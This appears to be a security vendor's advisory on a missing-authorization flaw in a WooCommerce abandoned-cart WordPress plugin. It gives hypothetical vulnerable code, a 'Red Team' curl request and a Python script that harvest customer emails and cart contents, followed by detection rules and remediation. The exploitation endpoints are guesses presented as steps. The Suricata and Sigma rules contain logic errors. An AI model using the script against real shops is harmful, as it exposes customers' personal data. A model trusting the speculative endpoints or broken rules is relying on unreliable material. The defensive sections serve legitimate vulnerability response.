CVE-2025-64222

Executive Summary

CVE-2025-64222 is a Missing Authorization vulnerability in the WooCommerce Recover Abandoned Cart plugin by FantasticPlugins. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive data, such as abandoned cart details, customer information, and order metadata. The vulnerability affects all versions up to and including 24.6.0. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant due to the potential for data exposure.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The WooCommerce Recover Abandoned Cart plugin is a popular tool for e-commerce sites, making this a high-value target for attackers seeking to harvest customer data. The missing authorization check likely occurs in REST API endpoints or AJAX handlers that do not properly validate user permissions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data disclosure possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: High. The lack of authentication and low complexity make this a serious risk for any WooCommerce site using the plugin.

Deep Dive & Mechanics

The vulnerability stems from a Missing Authorization check in the plugin's code. In WordPress plugins, authorization is typically enforced via current_user_can() checks or nonce validation. In this case, the plugin likely exposes REST API endpoints or AJAX actions that retrieve abandoned cart data without verifying that the requesting user has the appropriate capabilities (e.g., manage_woocommerce or edit_shop_orders).

Attack Vector:

1. An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-json/rac/v1/carts or an AJAX action like rac_get_cart_data).
2. The plugin processes the request and returns sensitive data, such as customer names, email addresses, cart contents, and order IDs.
3. The attacker can then use this data for phishing, identity theft, or further attacks.

Root Cause: The plugin fails to implement a capability check before executing the callback function for the endpoint. This is a classic CWE-862 (Missing Authorization) issue.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. Below is a typical example of the vulnerable code and the expected fix.

Vulnerable Code (hypothetical):

add_action('wp_ajax_nopriv_rac_get_cart_data', 'rac_get_cart_data_callback');
function rac_get_cart_data_callback() {
    $cart_id = $_GET['cart_id'];
    global $wpdb;
    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}rac_carts WHERE id = %d", $cart_id));
    wp_send_json($results);
}

Patched Code (expected):

add_action('wp_ajax_rac_get_cart_data', 'rac_get_cart_data_callback');
function rac_get_cart_data_callback() {
    if (!current_user_can('manage_woocommerce')) {
        wp_die('Unauthorized', 403);
    }
    $cart_id = $_GET['cart_id'];
    global $wpdb;
    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}rac_carts WHERE id = %d", $cart_id));
    wp_send_json($results);
}

Key Differences:

• The vulnerable code uses wp_ajax_nopriv_ (allows unauthenticated access) instead of wp_ajax_ (requires authentication).
• The patched code adds a current_user_can() check to restrict access to administrators or shop managers.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with WooCommerce and the vulnerable plugin (version <= 24.6.0).
• Knowledge of the plugin's REST API endpoints or AJAX actions.

Exploitation Steps:

1. Enumerate Endpoints: Use a tool like Burp Suite or curl to discover vulnerable endpoints. Common patterns include:
   • /wp-json/rac/v1/carts
   • /wp-admin/admin-ajax.php?action=rac_get_cart_data&cart_id=1
2. Craft Request: Send a GET request to the endpoint without any authentication headers.

   curl -X GET "http://target.com/wp-json/rac/v1/carts" -H "User-Agent: Mozilla/5.0"
   

3. Extract Data: If successful, the response will contain JSON data with cart details, including customer PII.

Example Exploit Script (Python):

import requests

target = "http://target.com"
endpoint = "/wp-json/rac/v1/carts"

response = requests.get(target + endpoint)
if response.status_code == 200:
    data = response.json()
    for cart in data:
        print(f"Cart ID: {cart['id']}, Email: {cart['email']}, Items: {cart['items']}")
else:
    print("Exploitation failed")

Blue Team (Defensive)

Detection:

• Monitor for unusual GET requests to /wp-json/rac/v1/* or admin-ajax.php?action=rac_* from unauthenticated IPs.
• Look for spikes in 200 responses to these endpoints without prior authentication.

Honeypot:

• Deploy a fake endpoint that returns a decoy dataset and alerts on access.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to plugin endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/rac/v1/carts or /wp-admin/admin-ajax.php?action=rac_* without a valid X-WP-Nonce header.
  • Unusual outbound data transfers containing JSON with fields like cart_id, email, items.

• File IOCs:

  • Modified plugin files (e.g., wp-content/plugins/woocommerce-recover-abandoned-cart/).
  • Suspicious log entries in WordPress debug logs (wp-content/debug.log).

• Log IOCs:

  • Apache/Nginx access logs showing repeated 200 responses to plugin endpoints from a single IP.
  • WordPress error logs with wp_ajax_nopriv_ calls.

Detection Engineering

YARA Rule

rule CVE_2025_64222_WooCommerce_RAC {
    meta:
        description = "Detects vulnerable WooCommerce Recover Abandoned Cart plugin files"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-64222"
    strings:
        $vuln_func = "wp_ajax_nopriv_rac_" ascii wide nocase
        $auth_check = "current_user_can" ascii wide nocase
    condition:
        $vuln_func and not $auth_check
}

Sigma Rule

title: CVE-2025-64222 - WooCommerce Recover Abandoned Cart Unauthenticated Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to WooCommerce Recover Abandoned Cart plugin endpoints
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/rac/v1/'
            - 'action=rac_'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-64222 - WooCommerce Recover Abandoned Cart Unauthenticated Access";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/wp-json/rac/v1/";
    http_uri;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=rac_";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the WooCommerce Recover Abandoned Cart plugin until a patch is released.
2. WAF Rules: Block all requests to /wp-json/rac/v1/* and admin-ajax.php?action=rac_* from unauthenticated users.
3. Monitor Logs: Review access logs for any signs of exploitation.

Long-Term Fix:

• Apply the official patch once released by FantasticPlugins.
• Implement a security plugin (e.g., Wordfence) to enforce capability checks on all REST API endpoints.
• Regularly update all WordPress plugins and themes.

Workaround:

• If the plugin is critical, restrict access via .htaccess:

  <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{REQUEST_URI} ^/wp-json/rac/ [NC]
      RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]
      RewriteRule ^ - [F,L]
  </IfModule>
  

Valters IT
Securing Digital Frontiers